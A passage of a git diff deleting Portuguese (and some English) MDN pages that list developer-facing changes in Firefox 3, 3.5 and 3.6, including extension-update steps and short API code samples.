- Security changes in Firefox 3.5 (EN)
-
- Este artigo cobre as mudanças relacionadas à segurança no Firefox 3.5.
-
- Theme changes in Firefox 3.5 (EN)
-
- Este artigo cobre as mudanças relacionadas à temas no Firefox 3.5.
-
- Monitoring WiFi access points (EN)
-
- Código com privilégios UniversalXPConnect agora podem monitorar a lista dos pontos de acesso disponíveis, obtendo informações de seus SSIDs, endereços MAC, e força de sinal.  Isto pode ser usado em conjunto com geolocalização (Geolocation) para oferecer serviço de localização baseado em WiFi.
-
-

Mudanças e melhorias notáveis

-
    -
  • O widget XUL, textbox (en) agora oferece o tipo search (en), para uso como campos de busca.
  • -
  • Com o objetivo de suportar o arrastamento e lançamento de abas entre janelas, o widget browser (en) agora possui o método swapDocShells() (en).
  • -
  • Adicionado o atributo level (en) ao elemento panel (en); ele especifica se painéis aparecem no topo de outras aplicações, ou somente no topo da janela em que o painel está contido.
  • -
  • Elementos XUL agora suportam as propriedades clientXXX e scrollXXX.
  • -
  • keysets (en) agora incluem um atributo disabled.
  • -
  • Em adição, keysets podem agora ser removidos usando o método de nós removeChild() (en).
  • -
  • mozIStorageStatement  (en) teve o método initialize() removido; desenvolvedores devem usar o método createStatement() (en) ao invés de obter uma nova declaração de objeto.
  • -
  • A API Storage (en) agora oferece suporte para requisições assíncronas.
  • -
  • A interface nsICookie2 (en) agora expõe o tempo que os cookies foram criados no seu novo atributo creationTime.
  • -
  • Adicionada um indicador à nsIProtocolHandler (en)(URI_IS_LOCAL_RESOURCE) que é checada durante o registro do chrome para assegurar que um protocolo tenha permissão para ser registrado. 
  • -
  • O Firefox agora procura por plugins em /usr/lib/mozilla/plugins no Linux, assim como as localizações anteriormente suportadas.
  • -
  • A API plugin foi atualizada para incluir suporte para o modo de navegação privada; você pode usar agora NPN_GetValue() (en) para consultar o estado do modo de navegação privada usando a variável NPNVprivateModeBool.
  • -
-

Novas características para usuários finais

-

Experiência do usuário

- -

Segurança e Privacidade

- -

Performance

- -

Veja também

- diff --git a/files/pt-pt/mozilla/firefox/releases/3.5/updating_extensions/index.html b/files/pt-pt/mozilla/firefox/releases/3.5/updating_extensions/index.html deleted file mode 100644 index d385b99b81..0000000000 --- a/files/pt-pt/mozilla/firefox/releases/3.5/updating_extensions/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Atualizando extensões para o Firefox 3.5 -slug: Mozilla/Firefox/Releases/3.5/Updating_extensions -translation_of: Mozilla/Firefox/Releases/3.5/Updating_extensions -original_slug: Atualizando_extensões_para_o_Firefox_3.5 ---- -
{{FirefoxSidebar}}
-

Este artigo proporciona informação útil para desenvolvedores tentando atualizar suas extensões para trabalharem corretamente no Firefox 3.5.

-

Atualizações básicas

-

Esta seção cobre o básico do que você necessita fazer sempre que você atualiza uma extensão para uma nova versão do Firefox.

-

Teste sua extensão

-

Começe editando o arquivo install.rdf da sua extensão, atualizando maxVersion para 3.5b4 (if you're testing on Firefox 3.5 beta 4), e aumente a versão da sua extensão.
-
- Crie então um novo perfil no Firefox, para que os testes não coloquem em risco seu perfil usual. Navegue até o diretório contendo Firefox, e então digite o comando:

-
firefox -createProfile testBeta4
-
-

No Mac, você precisa navegar por todo o caminho da bundle aplicação Firefox:

-
cd /Applications/Firefox.app/Contents/MacOS/
-firefox -createProfile testBeta4
-
-

Inicie o Firefox usando o novo perfil digitando este comando na linha de comeando:

-
firefox -P testBeta4
-
-

Teste a sua extensão cuidadosamente. Nós sugerimos que você configure as seguintes preferências para verdadeiro (true) com a finalidade de ser alertado para qualquer advertência ou exceção do JavaScript:

-
    -
  • javascript.options.strict
  • -
  • javascript.options.showInConsole
  • -
-

Atualize sua extensão

-

Se você encontrar algum problema durante o teste, atualize seu código para corrigir os problemas. Este artigo contém informação sobre coisas que podem requisitar algum trabalho.
-
- Uma vez que tenha feito isto, tente usar sua extensão novamente, desta vez com o perfil normal. Isto ajudará a assegurar a compatibilidade com qualquer dado existente salvo.

-

Atualize sua extensão em addons.mozilla.org

-

Finalmente, é hora de lançar sua extensão atualizada. Se a sua extensão não necessita de qualquer mudança no código, você pode simplesmente conectar-se ao painel AMO e atualizar a compatibilidade da versão por ali. Caso contrário será necessário enviar uma nova versão para o AMO.
-
- Veja Submitting an add-on to AMO (EN) para informações adicionais.

-

Acessando o banco de dados do Places

-

Antes do Firefox 3.5, acessar o banco de dados do Places diretamente usando a API de Armazenamento (Storage API (EN)) requeria alguns truques:

-
var places = Components.classes["@mozilla.org/file/directory_service;1"].
-                        getService(Components.interfaces.nsIProperties).
-                        get("ProfD", Components.interfaces.nsIFile);
-places.append("places.sqlite");
-var db = Components.classes["@mozilla.org/storage/service;1"].
-                    getService(Components.interfaces.mozIStorageService).openDatabase(places);
-
-

Isto constrói um caminho manual para o arquivo do banco de dados places.sqlite database, então abre o arquivo para o acesso ao armazenamento.

-

O Firefox 3.5 adiciona um serviço dedicado que oferece uma maneira mais conveniente para acessar o banco de dados do Places; a técnica a seguir não funciona no Firefox 3.5 ou anteriores.

-
var db = Components.classes["@mozilla.org/browser/nav-history-service;1"].
-                    getService(Components.interfaces.nsPIPlacesDatabase).DBConnection;
-
-

Caixas de texto de Pesquisa

-

O tipo de caixa de texto (textbox (EN)) timed está depreciado; ao invés disso, você deve usar search.

-

No Firefox 3, você pode ter usado:

-
<textbox type="timed" timeout="1000" oncommand="alert(this.value);"/>
-
-

No Firefox 3.5, você deve mudar para:

-
<textbox type="search" timeout="1000" oncommand="alert(this.value);"/>
-
-

JSON

-

O módulo JavaScript JSON.jsm foi removido no Firefox 3.5 em favor do suporte nativo ao objeto JSON. Para detalhes, veja Using JSON in Firefox (EN) e o artigo em JSON (EN) para uma introdução mais geral sobre o JSON e como usá-lo em várias versões do Firefox.

-

Para assegurar a compatibilidade com o Firefox 3 e Firefox 3.5, você pode fazer o que segue:

-
if (typeof(JSON) == "undefined") {
-  Components.utils.import("resource://gre/modules/JSON.jsm");
-  JSON.parse = JSON.fromString;
-  JSON.stringify = JSON.toString;
-}
-
-

Isto funciona importando o módulo JavaScript JSON.jsm se o JSON não for suportado nativamente, mapeando então os métodos proporcionados por este módulo aos usados nativamente no JSON, então as mesmas chamadas funcinam.

-

Você pode também contornar este problema usando a interface {{ interface("nsIJSON") }} diretamente.

-

Mudanças nos menus de contexto

-

Com o objetivo de suportar as novas características de áudio e vídeo adicionadas ao Gecko 1.9.1, a classe de nsContextMenu foi renomeada de imageURL para mediaURL; entretanto, imageURL foi adicionado novamente em 9 de junho de, 2009.

-

Mudanças no registro chrome

-

O Firefox 3.5 corrige falhas de segurança que tornam possível o uso remoto do chrome. Isto afetará qualquer complemento que inclua recursos em seu arquivo chrome.manifest que referencie a um web site, dados ou urls de recursos. Veja Security changes in Firefox 3.5 (EN) para detalhes.

-

Conseguindo um contexto carregado através de requisição

-

Anteriormente, era possível conseguir um contexto carregado a partir de uma requisição por consulta a várias APIs docShell. Uma maneira correta e confiável de fazer isso é usar um {{ interface("nsILoadContext") }}.

-

Com o C++, você pode fazer como mostrado abaixo:

-
nsCOMPtr<nsILoadContext> loadContext;
-nsCOMPtr<nsIChannel> channel = do_QueryInterface(aRequest);
-NS_QueryNotificationCallbacks(channel, loadContext);
-
-

Com o JavaScript, você pode fazer desta maneira:

-
var loadContext;
-try {
-  loadContext =
-    aRequest.queryInterface(Components.interfaces.nsIChannel)
-            .notificationCallbacks
-            .getInterface(Components.interfaces.nsILoadContext);
-} catch (ex) {
-  try {
-    loadContext =
-      aRequest.loadGroup.notificationCallbacks
-              .getInterface(Components.interfaces.nsILoadContext);
-  } catch (ex) {
-    loadContext = null;
-  }
-}
-
-

Barra de ferramentas customizável

-

No Firefox 3.5, o comportamento da barra de ferramentas customizável mudou, tal que o vínculo <xul:toolbar/> agora remove itens da barra de ferramentas do seu associado <xul:toolbarpalette/> e os adiciona na barra de ferramentas, ao invés de cloná-los e copiá-os para a barra de ferramentas. Isto significa que a paleta conterá agora somente itens não presentes na barra de ferramentas, ao contrário do comportamento anterior de conter todos os elementos, customizáveis ou não, exibidos na barra de ferramentas. Isto pode causar problemas para complementos dependendo da possibilidade de recuperar os itens da barra de ferramentas customizável através de <xul:toolbarpalette/>, ou de tentar dinamicamente inserir itens na paleta para torná-la disponível durante a customização da barra de ferramentas. Mais informações está disponível em {{ Bug(407725) }} e {{ Bug(467045) }}.

-

XPCNativeWrapper

-

Iniciando o Firefox 3.5, você não pode mais usar data: you can no longer use data: bindings em pacotes chromeque possuem automatização XPCNativeWrapper. Isto resolve um potencial problema de segurança.

-

Documentos XUL agora tem o tratamento XPCNativeWrapper, então você agora precisa usar o método getAttribute() para buscar valores de atributo ao invés de simplesmente lê-los diretamente.

-

Se a sua extensão está usando xpcnativewrappers=no (o que não deveria ser feito em primeiro lugar, uma vez que não é seguro fazê-lo), o XBL desta extensão não será aplicado a documentos que estejam usando automatização XPCNativeWrapper, começando no Firefox 3.5.

-

Novas características interessantes

-

"Listening" eventos em todas as abas

-

O Firefox 3.5 adicionou suporte para a adição e remoção de listeners que listen em todas as abas. Veja Listening to events on all tabs (EN) para detalhes.

-

Para desenvolvedores de temas:

-
    -
  • Cheque Theme changes in Firefox 3.1 (EN).
  • -
  • Acesse o fórum Mozillazine Theme changes for FF3.1 (EN) para uma introdução/listagem de todas as mudanças entre o Firefox 3.0 e 3.5 que trazem impactos para os desenvolvedores. Isto diz respeito às novas características do CSS (como nth-child, -moz-box-shadow, etc), mudanças para widgets existentes, todas as melhorias da UI (User Interface - Interface do Usuário) e novas características do FF3.5 (suporte de áudio/vídeo, navegação privada, restauração de sessão extendida, sombras de caixas/janelas/textos).
  • -
-

 

diff --git a/files/pt-pt/mozilla/firefox/releases/3.6/index.html b/files/pt-pt/mozilla/firefox/releases/3.6/index.html deleted file mode 100644 index 1413f08199..0000000000 --- a/files/pt-pt/mozilla/firefox/releases/3.6/index.html +++ /dev/null @@ -1,310 +0,0 @@ ---- -title: Firefox 3.6 para desenvolvedores -slug: Mozilla/Firefox/Releases/3.6 -translation_of: Mozilla/Firefox/Releases/3.6 -original_slug: Firefox_3.6_para_desenvolvedores ---- -

Firefox 3.6 oferece suporte para padrões web novos e em desenvolvimento, performance melhorada e uma boa experiência para usuários web e desenvolvedores. Está página proporciona links para artigos cobrindo as novas capacidades do Firefox 3.6.

- -

Para desenvolvedores de websites e aplicações

- -

CSS

- -
-
Using gradients
-
Firefox 3.6 adicionou o suporte às propriedades sugeridas -moz-linear-gradient e -moz-radial-gradient para background.
-
Multiple backgrounds
-
A propriedade background (assim como background-color, background-image, background-position, background-repeat e background-attachment) agora suporta múltiplos fundos de tela. Isto permite a especificação de múltiplos fundos de tela que são renderizados um sobre o outro, em camadas.
-
Mozilla-specific media features
-
Características de mídia foram adicionadas para o sistema de métricas específico da Mozilla, então consultas de mídia podem ser usadas para checar mais seguramente a disponibilidade de características como o suporte a toque.
-
Scaling background images
-
A propriedade background-size do CSS 3 Backgrounds and Borders draft é agora suportada sob o nome -moz-background-size.
-
WOFF font support
-
@font-face agora suporta arquivos de fonte baixáveis no formato WOFF.
-
Pointer events
-
A propriedade pointer-events permite ao conteúdo especificar quando um elemento pode ser o alvo ou não de eventos com o ponteiro do mouse.
-
- -

Miscelânea de mudanças no CSS

- -
    -
  • A unidade de comprimento rem do CSS3 Values and Units é agora suportada. bug 472195
  • -
  • image-rendering é suportada para imagens, imagens de fundo, vídeos e canvas. bug 423756
  • -
  • text-align:end é agora suportada. bug 299837
  • -
  • Mudanças no DOM para elementos usando os tipos display de tabela agora funcionam muito melhor.
  • -
  • Adicionado :-moz-locale-dir(ltr) e :-moz-locale-dir(rtl) para facilitar a customização de layouts baseados na interface de usuário que está sendo exibida, usando uma localidade da esquerda para a direita ou da direita para a esquerda. bug 478416
  • -
  • Adicionado suporte para a pseudo-classe :indeterminate, que combina com elementos checkbox input aos quais o atributo indeterminate é true.
  • -
  • Plugins em janelas não são mais exibidos em CSS transforms, pois eles não podem ser transformados corretamente pelo compositor.
  • -
- -

HTML 

- -
-
Using files from web applications
-
Suporte para a nova API de Arquivos HTML5 foi adicionada ao Gecko, tornando possível para aplicações web acessar arquivos locais selecionados pelo usuário. Isto inclui suporte para a seleção de múltiplos arquivos usando o novo atributo multiple do elemento HTML input type="file".
-
HTML5 vídeo suporta quadros poster
-
O atributo poster é agora suportado pelo elemento video, permitindo ao conteúdo especificar um quadro poster a ser exibido até que o vídeo comece a tocar.
-
Checkboxes e radio buttons suportam a propriedade indeterminate
-
Os elementos HTML input dos tipos checkbox e radio agora suportam a propriedade indeterminate, que permite um terceiro estado "indeterminado".
-
A suavização de imagens em canvas pode ser controlada
-
A nova propriedade mozImageSmoothingEnabled pode ser usada para ativar e desativar a suavização de imagens quando mudando a escala em elementos canvas.
-
Execução de script assíncrona
-
Configurando o atributo async no elemento script, o script não bloqueará o carregamento ou exibição do resto da página. Ao invés, o script executa assim que for baixado.
-
- -

JavaScript

- -

O Gecko 1.9.2 introduz o JavaScript 1.8.2, o qual adiciona algumas características da linguagem do ECMAScript 5 standard:

- -
    -
  • Date.parse() agora pode analizar datas ISO 8601 como YYYY-MM-DD.
  • -
  • -

    A propriedade prototype das funções de instâncias não são mais enumeráveis.

    -
  • -
- -

DOM

- -
-
- -

Miscelânea de mudanças no DOM

- -
    -
  • O método getBoxObjectFor() foi removido, pois não era um padrão e expunha ainda mais coisas fora do padrão na web. Veja bug 340571. Também afeta MooTools a qual usa esta chamada para a detecção do Gecko; isto foi resolvido na última versão de MooTools, então, certifique-se de atualizar.
  • -
  • As novas propriedades mozInnerScreenX e mozInnerScreenY nas janelas do DOM foram adicionadas; estas retornam coordenadas da tela do canto superior esquerdo do visor da janela.
  • -
  • A nova propriedade mozScreenPixelsPerCSSPixel, acessível somente ao chrome, proporciona um fator de conversão entre pixels CSS e pixels da tela; este valor pode variar baseado no nível de zoom do conteúdo.
  • -
  • Quando o identificador de fragmentos de documentos URI's da página (a parte após o caractere "#" (hash)) muda, um novo evento hashchange é enviado à página. Veja window.onhashchange para mais informações. bug 385434
  • -
  • O atributo document.readyState é agora suportado. bug 347174
  • -
  • Suporte ao element.classList HTML5 para permitir a fácil manibulação do atributo class. bug 501257
  • -
  • localName e namespaceURI em documentos HTML agora comportam-se agora assim como nos documentos XHTML: localName retorna em minúsculas e namespaceURI para elementos HTML é "http://www.w3.org/1999/xhtml".
  • -
  • element.getElementsByTagNameNS não mais suporta minúsculas em seus argumentos, então letras maiúsculas ASCII no argumento evitam a falha de elementos HTML. O mesmo é verdadeiro para document.getElementsByTagNameNS.
  • -
  • O suporte foi adicionado para endereços em geolocalização pela interface nsIDOMGeoPositionAddress e um novo campo adicionado a nsIDOMGeoPosition.
  • -
  • A função window.getComputedStyle agora retorna dentro de aspas os valores (URL).
  • -
- -
-
Web workers podem agora se auto-terminar
-
Workers agora suportam o método nsIWorkerScope.close(), que permite a eles, terminá-los eles mesmos.
-
Arrastar e soltar (drag and drop) agora suportam arquivos
-
O objeto DataTransfer previsto para arrastar listeners agora inclui uma lista de arquivos que foram arrastados.
-
Checando para ver se um elemento combina com um seletor CSS especificado
-
O novo método element.mozMatchesSelector permite a determinação se um elemento combina ou não com um seletor CSS especificado. Veja bug 518003.
-
Detecting device orientation
-
 
-
O conteúdo pode agora detectar a orientação do dispositivo se ele possuir um acelerômetro suportado, usando o evento MozOrientation; veja window.onmozorientation para detalhes. O Firefox 3.6 suporta o acelerômetro em laptops Mac.
-
Detecting document width and height changes
-
O novo evento MozScrollAreaChanged  é despachado sempre que as propriedades scrollWidth e/ou scrollHeight do documento mudam.
-
 
-
- -

XPath

- -
-
O método choose() do XPath é agora suportado
-
O método choose() é agora suportado pela nossa implementação do XPath.
-
- -

Para desenvolvedores XUL e de complementos

- -

Se você é um desenvolvedor de extensões, deveria começar lendo Updating extensions for Firefox 3.6, o qual oferece uma introdução útil de que mudanças podem afetar sua extensão. Desenvolvedores de plug-ins deveriam ler Updating plug-ins for Firefox 3.6.

- -

Novas Características

- -
-
Detecting device orientation
-
O conteúdo pode agora detectar a orientação do dispositivo se ele possuir um acelerômetro suportado, usando o evento MozOrientation; veja window.onmozorientation para detalhes. O Firefox 3.6 suporta o acelerômetro em laptops Mac.
-
Monitoring HTTP activity
-
É possível agora monitorar transações HTTP para observar requisições e respostas em tempo real.
-
Working with the Windows taskbar
-
É possível agora customizar a aparência das janelas na barra de tarefas no Windows 7 ou mais recentes.
-
- -

Places

- - - -

Storage

- -
-
Locale-aware collation of data is now supported by the Storage API
-
O Gecko 1.9.2 adicionou várias novos métodos de agrupamento para proporcionar o agrupamento otimizado (classificação) de resultados usando técnicas de localização-consciente.
-
Properties on a statement can now be enumerated
-
Você pode agora usar a enumeração for..in para enumerar todas as propriedades de uma declaração.
-
mozIStorageStatement's getParameterIndex teve o comportamento alterado entre 3.5 e 3.6.
-
Veja bug 528166 para detalhes.
-
Ligar vários conjuntos de parâmetros assincronamente para executar uma declaração.
-
Veja bug 490085 para detalhes. A documentação virá em breve.
-
- -

Preferências

- - - -

Temas

- -

Veja Updating themes for Firefox 3.6 para detalhes.

- -
-
Lightweight themes
-
O Firefox 3.6 suporta temas leves; estes são temas fáceis de criar que simplesmente aplicam uma imagem de fundo ao topo (barra de endereços e barra de botões) e inferior (barra de estado (status)) das janelas do navegador. Esta é uma integração à arquitetura de temas existente Personas no Firefox.
-
- -

 

- -

Miscelânea

- -
    -
  • O Firefox não carregará mais componentes de terceiros instalados em seu diretório interno de componentes. Isto ajuda a assegurar estabilidade, prevenindo componentes defeituosos de terceiros de serem executados. Desenvolvedores que instalarem componentes desta maneira devem re-empacotar seus componentes como pacotes XPI (en) para então poderem ser instalados como complementos padrão.
  • -
  • contents.rdf não é mais suportado para o registro do chrome nas extensões. Ao invés disso, deve-se agora usar o arquivo chrome.manifest. Veja bug 492008.
  • -
  • Adicionado suporte para ocultar a barra de menus automaticamente. Veja bug 477256.
  • -
  • Adicionado suporte para o atributo container-live-role para objetos. Veja bug 391829.
  • -
  • O obrigatório tabs-closebutton foi removido. Veja bug 500971.
  • -
  • Adicionado suporte a nsISound para tocar sons baseados em eventos que tenham ocorrido. Veja bug 502799.
  • -
  • A sintaxe para os métodos nsITreeView.canDrop() e nsITreeView.drop() de nsITreeView foi mudada para suportar a nova API de arrastar e soltar (drag & drop) introduzida no Gecko 1.9. Veja bug 455590.
  • -
  • Adicionado suporte para trocar o cursor do mouse para o botão padrão de diálogo ou assistente no Windows, veja bug 76053. Isto é processdo automaticamente pelo elemento de diálogo ou assistente, mas se uma aplicação XUL cria uma janela usando o  elemento window e ele possui um botão padrão, é necessário chamar nsIDOMChromeWindow.notifyDefaultButtonLoaded() durante o evento manipulador onload da janela.
  • -
  • A interface nsILocalFileMac teve dos elementos removidos: setFileTypeAndCreatorFromMIMEType() e setFileTypeAndCreatorFromExtension().
  • -
  • O novo módulo de código NetUtils.jsm proporciona um método fácil de usar para a cópia de dados assíncrona de um fluxo de entrada para um fluxo de saída.
  • -
  • O novo módulo de código openLocationLastURL.jsm permite a facilidade para ler e mudar o valor de "Open Location" das URLs lembradas pela caixa de diálogo adequadamente enquanto no modo de navegação privativa.
  • -
  • No Windows, a interface nsIScreen agora reporta profundidades de cor de 24 bits por pixel quando o driver gráfico solicita 32 bits, uma vez que 24 representa mais acuradamente o número atual de pixels de cor em uso.
  • -
  • Barras de menu podem agora ser ocultadas no Windows, usando o novo atributo autohide no elemento XUL toolbar.
  • -
  • Os métodos loadOneTab e addTab agora aceitam um novo parâmetro relatedToCurrent e, em adição, permitem aos parâmetros serem especificados pelo nome, uma vez que quase todos os parâmetros são opcionais.
  • -
  • A propriedade "hidden" não é mais suportada em manifestos de instalação; não é mais possível evitar que o usuário veja complementos na janela do gerenciador de complementos.
  • -
  • O componente @mozilla.org/webshell;1 não existe mais; é necessário usar @mozilla.org/docshell;1 ao invés.
  • -
  • É possível agora registrar com a categoria update-timer para agendar eventos de tempo sem precisar instanciar o objeto que o contador eventualmente chamará; ao invés disso, ele será instanciado quando for necessário. Veja nsIUpdateTimerManager.registerTimer() para detalhes.
  • -
  • A função NPN_GetValue() não mais provê acesso ao XPCOM através dos valores das variáveis NPNVserviceManagerNPNVDOMelement e NPNVDOMWindow. Isto é parte do trabalho de fazer com que os plugins rodem processos separados em uma versão futura do Gecko.
  • -
  • Os plugins não são mais scriptable através das interfaces do XPCOM (IDL), NPRuntime é a API a ser usada para tornar estes plugins scriptable, e NPP_GetValue() não é mais chamado com o valor de NPPVpluginScriptableInstance ou NPPVpluginScriptableIID. Isto é parte do trabalho de fazer com que os plugins rodem processos separados em uma versão futura do Gecko.
  • -
- -

Para desenvolvedores Firefox/Gecko

- -

Algumas mudanças são interessantes somente se você trabalha internamente no próprio Firefox.

- -

Interfaces mescladas

- -

As seguintes interfaces foram unidas:

- -
    -
  • nsIPluginTagInfo2 foi mesclada em nsIPluginTagInfo.
  • -
  • nsIPluginInstanceInternalnsIPPluginInstancePeernsIPluginInstancePeer1nsIPluginInstancePeer2 e nsIPluginInstancePeer3 foram todas mescladas em nsIPluginInstance.
  • -
  • nsIWindowlessPlugInstPeer foi mesclada em nsIPluginInstance.
  • -
  • nsIPluginManager nsIPluginManager2 foram mescladas em nsIPluginHost.
  • -
- -

Interfaces removidas

- -

As seguintes interfaces foram removidas inteiramente porque eram obsoletas, não utilizadas ou não implementadas:

- -
    -
  • nsIFullScreen
  • -
  • nsIDOMSVGListener
  • -
  • nsIDOMSVGZoomListener
  • -
  • nsIInternetConfigService
  • -
  • nsIDKey
  • -
  • nsIEventHandler
  • -
  • nsIJRILiveConnectPIPeer
  • -
  • nsIJRILiveConnectPlugin
  • -
  • nsIScriptablePlugin
  • -
  • nsIClassicPluginFactory
  • -
  • nsIFileUtilities
  • -
- -

Interfaces movidas

- -

As seguintes interfaces foram realocadas de seus arquivos IDL anteriores em novos:

- -
    -
  • nsIDOMNSCSS2Properties está agora localizada em seu próprio arquivo IDL (dom/interfaces/css/nsIDOMCSS2Properties.idl).
  • -
  • nsIUpdateTimerManager está agora localizada em seu próprio arquivo IDL.
  • -
- -

Um grande número de interfaces foram movidas. Veja Interfaces moved in Firefox 3.6 para uma lista completa.

- -

Outras mudanças na interface

- -

As seguintes alterações foram feitas:

- -
    -
  • A interface nsIPlugin agora herda de nsISupports ao invés de nsIFactory.
  • -
  • A interface nsIPluginHost agora herda de nsISupports ao invés de nsIFactory.
  • -
  • A interface nsIFrame agora herda de nsQueryFrame ao invés de nsISupports.
  • -
  • O método getPaletteInfo() de nsIDeviceContext foi removido, haja vista que ele nunca foi implementado.
  • -
  • O método reportPendingException() de nsIScriptContext foi removido, já que ele não estava mais sendo usado.
  • -
- -

 

- -

Mudanças na acessibilidade do código

- -
    -
  • O evento de acessibilidade (en) EVENT_REORDER é agora enviado quando os "filhos" dos frames e iframes mudam, assim como quando os "filhos" do documento principal mudam. Veja bug 420845.
  • -
  • O nsIAccessibleTable.selectRow() agora remove corretamente qualquer seleção corrente antes de selecionar uma linha específica.
  • -
- -

Veja também

- - diff --git a/files/pt-pt/mozilla/firefox/releases/3/index.html b/files/pt-pt/mozilla/firefox/releases/3/index.html deleted file mode 100644 index 129fa2fc1e..0000000000 --- a/files/pt-pt/mozilla/firefox/releases/3/index.html +++ /dev/null @@ -1,298 +0,0 @@ ---- -title: Firefox 3 for developers -slug: Mozilla/Firefox/Releases/3 -tags: - - Firefox 3 - - NeedsTranslation - - TopicStub -translation_of: Mozilla/Firefox/Releases/3 ---- -
{{FirefoxSidebar}}

If you're a developer trying to get a handle on all the new features in Firefox 3, this is the perfect place to start. This article provides a list of the new articles covering features added to Firefox 3. While it doesn't necessarily cover every little change, it will help you learn about the major improvements.

-

New developer features in Firefox 3

-

For web site and application developers

-
-
- Updating web applications for Firefox 3
-
- Provides information about changes you may need to make to your web site or web application to take advantage of new features in Firefox 3.
-
-
-
- Online and offline events
-
- Firefox 3 supports WHATWG online and offline events, which let applications and extensions detect whether or not there's an active Internet connection, as well as to detect when the connection goes up and down.
-
-
-
- Web-based protocol handlers
-
- You can now register web applications as protocol handlers using the navigator.registerProtocolHandler() method.
-
-
-
- Drawing text using a canvas
-
- You can now draw text in a canvas using a non-standardized API supported by Firefox 3.
-
-
-
- Transform support for canvas
-
- Firefox now supports the transform() and setTransform() methods on canvases.
-
-
-
- Using microformats
-
- Firefox now has APIs for working with microformats.
-
-
-
- Drag and drop events
-
- Firefox 3 supports new events that are sent to the source node for a drag operation when the drag begins and ends.
-
-
-
- Focus management in HTML
-
- The new HTML 5 activeElement and hasFocus attributes are supported.
-
-
-
- Offline resources in Firefox
-
- Firefox now lets web applications request that resources be cached to allow the application to be used while offline.
-
-
-
- CSS improvements in Firefox 3
-
- Firefox 3 features a number of improvements in its CSS support.
-
-
-
- DOM improvements in Firefox 3
-
- Firefox 3 offers a number of new features in Firefox 3's DOM implementation, including support for several Internet Explorer extensions to the DOM.
-
-
-
- JavaScript 1.8 support
-
- Firefox 3 offers JavaScript 1.8.
-
-
-
- EXSLT support
-
- Firefox 3 provides support for a substantial subset of the EXSLT extensions to XSLT.
-
-
-
- SVG improvements in Firefox 3
-
- SVG support in Firefox 3 has been upgraded significantly, with support for over two dozen new filters, several new elements and attributes, and other improvements.
-
-
-
- Animated PNG graphics
-
- Firefox 3 supports the animated PNG (APNG) image format.
-
-

For XUL and extension developers

-

Notable changes and improvements

-
-
- Updating extensions for Firefox 3
-
- Provides a guide to the things you'll need to do to update your extension to work with Firefox 3.
-
-
-
- XUL improvements in Firefox 3
-
- Firefox 3 offers a number of new XUL elements, including new sliding scales, the date and time pickers, and spin buttons.
-
-
-
- Templates in Firefox 3
-
- Templates have been significantly improved in Firefox 3. The key improvement allows the use of custom query processors to allow data sources other than RDF to be used.
-
-
-
- Securing updates
-
- In order to provide a more secure add-on upgrade path for users, add-ons are now required to provide a secure method for obtaining updates before they can be installed. Add-ons hosted at AMO automatically provide this. Any add-ons installed that do not provide a secure update method when the user upgrades to Firefox 3 will be automatically disabled. Firefox will however continue to check for updates to the extension over the insecure path and attempt to install any update offered (installation will fail if the update also fails to provide a secure update method).
-
-
-
- Places migration guide
-
- An article about how to update an existing extension to use the Places API.
-
-
-
- Download Manager improvements in Firefox 3
-
- The Firefox 3 Download Manager features new and improved APIs, including support for multiple progress listeners.
-
-
-
- Using nsILoginManager
-
- The Password Manager has been replaced by the new Login Manager.
-
-
-
- Embedding XBL bindings
-
- You can now use the data: URL scheme from chrome code to embed XBL bindings directly instead of having them in separate XML files.
-
-
-
- Localizing extension descriptions
-
- Firefox 3 offers a new method for localizing add-on metadata. This lets the localized details be available as soon as the add-on has been downloaded, as well as when the add-on is disabled.
-
-
-
- Localization and Plurals
-
- Firefox 3 adds the new PluralForm module, which provides tools to aid in correctly pluralizing words in multiple localizations.
-
-
-
- Theme changes in Firefox 3
-
- Notes and information of use to people who want to create themes for Firefox 3.
-
-

New components and functionality

-
-
- FUEL Library
-
- FUEL is about making it easier for extension developers to be productive, by minimizing some of the XPCOM formality and adding some "modern" JavaScript ideas.
-
-
-
- Places
-
- The history and bookmarks APIs have been completely replaced by the new Places API.
-
-
-
- Idle service
-
- Firefox 3 offers the new {{Interface("nsIIdleService")}} interface, which lets extensions determine how long it's been since the user last pressed a key or moved their mouse.
-
-
-
- ZIP writer
-
- The new {{Interface("nsIZipWriter")}} interface lets extensions create ZIP archives.
-
-
-
- Full page zoom
-
- Firefox 3 improves the user experience by offering full page zoom in addition to text-only zoom.
-
-
-
- Interfacing with the XPCOM cycle collector
-
- XPCOM code can now take advantage of the cycle collector, which helps ensure that unused memory gets released instead of leaking.
-
-
-
- The Thread Manager
-
- Firefox 3 provides the new {{Interface("nsIThreadManager")}} interface, along with new interfaces for threads and thread events, which provides a convenient way to create and manage threads in your code.
-
-
-
- JavaScript modules
-
- Firefox 3 now offers a new shared code module mechanism that lets you easily create modules in JavaScript that can be loaded by extensions and applications for use, much like shared libraries.
-
-
-
- The nsIJSON interface
-
- Firefox 3 offers the new {{Interface("nsIJSON")}} interface, which offers high-performance encoding and decoding of JSON strings.
-
-
-
- The nsIParentalControlsService interface
-
- Firefox 3 now supports the Microsoft Windows Vista parental controls feature, and allows code to interact with it.
-
-
-
- Using content preferences
-
- Firefox 3 includes a new service for getting and setting arbitrary site-specific preferences that extensions as well as core code can use to keep track of their users' preferences for individual sites.
-
-
-
- Plug-in Monitoring
-
- A new component of the plugin system is now available to measure how long it takes plugins (e.g., Macromedia Flash) to execute their calls.
-
-

Fixed bugs

-
-
- Notable bugs fixed in Firefox 3
-
- This article provides information about bugs that have been fixed in Firefox 3.
-
-

New features for end users

-

User experience

-
    -
  • Easier password management. An information bar at the top of the browser window now appears to allow you to save passwords after a successful login.
  • -
  • Simplified add-on installation. You can now install extensions from third-party download sites in fewer clicks, thanks to the removal of the add-on download site whitelist.
  • -
  • New Download Manager. The download manager makes it easier to locate your downloaded files.
  • -
  • Resumable downloads. You can now resume downloads after restarting the browser or resetting your network connection.
  • -
  • Full page zoom. From the View menu and using keyboard shortcuts, you can now zoom in and out on the content of entire pages -- this scales not just the text but the layout and images as well.
  • -
  • Tab scrolling and quickmenu. Tabs are easier to locate with the new tab scrolling and tab quickmenu features.
  • -
  • Save what you were doing. Firefox 3 prompts you to see if you'd like to save your current tabs when you exit Firefox.
  • -
  • Optimized Open in Tabs behavior. Opening a folder of bookmarks in tabs now appends the new tabs instead of replacing the existing ones.
  • -
  • Easier to resize location and search bars. You can now easily resize the location and search bars using a simple resize handle between them.
  • -
  • Text selection improvements. You can now select multiple ranges of text using the Control (Command on Macintosh) key. Double-clicking and dragging now selects in "word-by-word" mode. Triple-clicking selects an entire paragraph.
  • -
  • Find toolbar. The Find toolbar now opens with the current selection.
  • -
